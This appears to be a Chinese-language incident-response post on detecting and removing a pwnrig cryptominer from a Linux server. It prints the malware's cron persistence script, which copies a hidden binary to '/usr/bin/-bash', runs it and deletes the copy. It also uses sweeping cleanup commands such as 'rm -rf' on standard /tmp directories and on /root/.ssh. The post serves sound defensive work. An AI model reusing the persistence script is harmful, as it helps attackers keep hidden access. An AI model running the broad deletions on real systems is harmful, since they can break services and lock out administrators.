异常现象
1.服务器CPU总占用50%，部分进程占用800%左右（共16核）
top
定位
1.数据传输
netstat -lntupa
2.定时任务
[root@bogon .new]# cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {}
* * * * * /tmp/.ICE-unix/.new/-bash > /dev/null 2>&1;
no crontab for bin
no crontab for daemon
no crontab for adm
no crontab for sync
no crontab for mail
no crontab for ftp
no crontab for nobody
no crontab for avahi-autoipd
no crontab for dbus
no crontab for polkitd
no crontab for tss
no crontab for postfix
no crontab for ntp
no crontab for sshd
no crontab for mysql
no crontab for redis
no crontab for tcpdump
no crontab for dockerroot
no crontab for systemd-network
no crontab for xdja
no crontab for ansible3.定位恶意木马文件
[root@bogon tmp]# pwd
/tmp
[root@bogon tmp]# ls -la
total 8
drwxrwxrwt. 8 root root 4096 Jan 22 10:31 .
dr-xr-xr-x. 18 root root 4096 Sep 16 15:37 ..
drwxrwxrwt. 2 root root 6 Aug 26 2016 .font-unix
drwxr-xr-x 2 root root 30 Jan 12 16:44 hsperfdata_root
drwxrwxrwt. 3 root root 17 Nov 13 08:17 .ICE-unix
-rw-r--r-- 1 root root 0 Jan 17 16:01 .lock
srwxrwxrwx 1 mysql mysql 0 Oct 20 13:59 mysql.sock
drwxrwxrwt. 2 root root 6 Aug 26 2016 .Test-unix
drwxrwxrwt. 2 root root 6 Jul 25 2019 .X11-unix
drwxrwxrwt. 2 root root 6 Aug 26 2016 .XIM-unix
[root@bogon tmp]# cd .ICE-unix/
[root@bogon .ICE-unix]# ls -la
total 4
drwxrwxrwt. 3 root root 17 Nov 13 08:17 .
drwxrwxrwt. 8 root root 4096 Jan 22 10:31 ..
drwxr-xr-x 2 root root 31 Jan 22 12:29 .new
[root@bogon .ICE-unix]# cd .new/
[root@bogon .new]# ls -la
total 1840
drwxr-xr-x 2 root root 31 Jan 22 12:29 .
drwxrwxrwt. 3 root root 17 Nov 13 08:17 ..
-rwxr-xr-x 1 root root 119 Nov 13 08:18 -bash
-rwxr-xr-x 1 root root 1878432 Sep 17 01:52 x86_64处理方法
1.kill掉-bash进程，发现很快就自动启动
kill -9 283322.删除定时任务
[root@bogon .new]# crontab -l
* * * * * /tmp/.ICE-unix/.new/-bash > /dev/null 2>&1;
[root@bogon .new]# crontab -r
[root@bogon .new]#
[root@bogon .new]#
[root@bogon .new]#
[root@bogon .new]#
[root@bogon .new]# crontab -l
no crontab for root3.删除木马程序，也可将木马程序下载保存起来，以备后续分析研究
[root@bogon tmp]# ls -la
total 8
drwxrwxrwt. 8 root root 4096 Jan 22 10:31 .
dr-xr-xr-x. 18 root root 4096 Sep 16 15:37 ..
drwxrwxrwt. 2 root root 6 Aug 26 2016 .font-unix
drwxr-xr-x 2 root root 30 Jan 12 16:44 hsperfdata_root
drwxrwxrwt. 3 root root 17 Nov 13 08:17 .ICE-unix
-rw-r--r-- 1 root root 0 Jan 17 16:01 .lock
srwxrwxrwx 1 mysql mysql 0 Oct 20 13:59 mysql.sock
drwxrwxrwt. 2 root root 6 Aug 26 2016 .Test-unix
drwxrwxrwt. 2 root root 6 Jul 25 2019 .X11-unix
drwxrwxrwt. 2 root root 6 Aug 26 2016 .XIM-unix
[root@bogon tmp]# rm -rf .font-unix .ICE-unix .Test-unix .X11-unix .XIM-unix
[root@bogon tmp]# ls -la
total 4
drwxrwxrwt. 3 root root 57 Jan 22 12:55 .
dr-xr-xr-x. 18 root root 4096 Sep 16 15:37 ..
drwxr-xr-x 2 root root 30 Jan 12 16:44 hsperfdata_root
-rw-r--r-- 1 root root 0 Jan 17 16:01 .lock
srwxrwxrwx 1 mysql mysql 0 Oct 20 13:59 mysql.sock
[root@bogon tmp]# 
4.kill掉木马进程，kill掉后可能再次自动启动，再次kill观察未再自动启动，后续可尝试重启后继续观察
kill -9 225905.观察发现木马又重新启动，PID为30382
ls -l /proc/30382
6.查看定时任务日志，每隔1小时就有异常信息
tail -2000f /var/log/cron
7.查看定时任务信息，大致为每隔1小时复制/bin/sysdrr到/usr/bin/-bash，启动脚本后再删除-bash
[root@localhost tmp]# cat /etc/cron.daily/
logrotate man-db.cron mlocate sync
[root@localhost tmp]# cat /etc/cron.daily/sync
#!/bin/bash
#
# Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null
[root@localhost tmp]# cat /etc/cron.hourly/sync
#!/bin/bash
#
# Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null8.再次清理定时任务
[root@localhost etc]# cd /etc/cron.weekly/
[root@localhost cron.weekly]# ll
total 4
-rwxr-xr-x 1 root root 246 May 5 2015 sync
[root@localhost cron.weekly]# rm -rf sync
rm: cannot remove ‘sync’: Operation not permitted
[root@localhost cron.weekly]# laattr sync
-bash: laattr: command not found
[root@localhost cron.weekly]# lsattr sync
----i----------- sync
[root@localhost cron.weekly]# rm -rf sync
rm: cannot remove ‘sync’: Operation not permitted
[root@localhost cron.weekly]# chattr -R -i sync
[root@localhost cron.weekly]# lsattr sync
---------------- sync
[root@localhost cron.weekly]# rm -rf sync
[root@localhost cron.weekly]#
[root@localhost cron.weekly]#
[root@localhost cron.weekly]#
[root@localhost cron.weekly]# ll
total 0
[root@localhost cron.weekly]# 其他目录下的sync文件或者其他可疑文件执行如下命令进行清除
chattr -R -i sync
lsattr sync
rm -rf sync9.删除木马程序，也可将木马程序下载保存起来，以备后续分析研究
[root@localhost etc]# cd /bin/
[root@localhost bin]# ls -la sysdrr
-rwxr-xr-x 1 root root 1878432 May 5 2015 sysdrr
[root@localhost bin]#
[root@localhost bin]#
[root@localhost bin]#
[root@localhost bin]#
[root@localhost bin]# chattr -R -i sysdrr
[root@localhost bin]# lsattr sysdrr
---------------- sysdrr
[root@localhost bin]# rm -rf sysdrr10.清理 ssh
rm -rf /root/.ssh11.尽可能排查所有服务器，清除步骤如上
安全建议
- 用密钥登录，不要用密码登录
- 使用安全的密码策略，使用高强度密码，切勿使用弱口令，防止黑客暴力破解
- redis最好不开放端口或者启用TLS与密码身份认证或者加上ip白名单等
- 外网远程22连接使用白名单或关闭外网直接连接22
- 升级已暴露漏洞的组件版本，如openssh
- 防火墙禁掉木马程序通信IP
参考文档
https://cloud.tencent.com/dev...